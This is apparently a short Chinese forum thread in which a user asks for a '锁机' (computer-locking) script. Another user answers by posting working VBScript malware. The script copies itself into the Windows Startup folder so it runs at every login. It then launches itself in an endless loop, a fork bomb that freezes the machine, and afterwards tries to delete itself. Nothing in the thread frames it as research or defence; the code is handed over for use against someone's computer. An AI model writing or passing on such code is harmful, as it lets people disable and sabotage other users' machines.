谁能给我一个锁机带码，只要纯锁机

要么粉我要么不给

@幽灵猎手611 你有锁机

On Error Resume Next
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\huan.vbs")
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
WScript.Echo( WScript.ScriptName)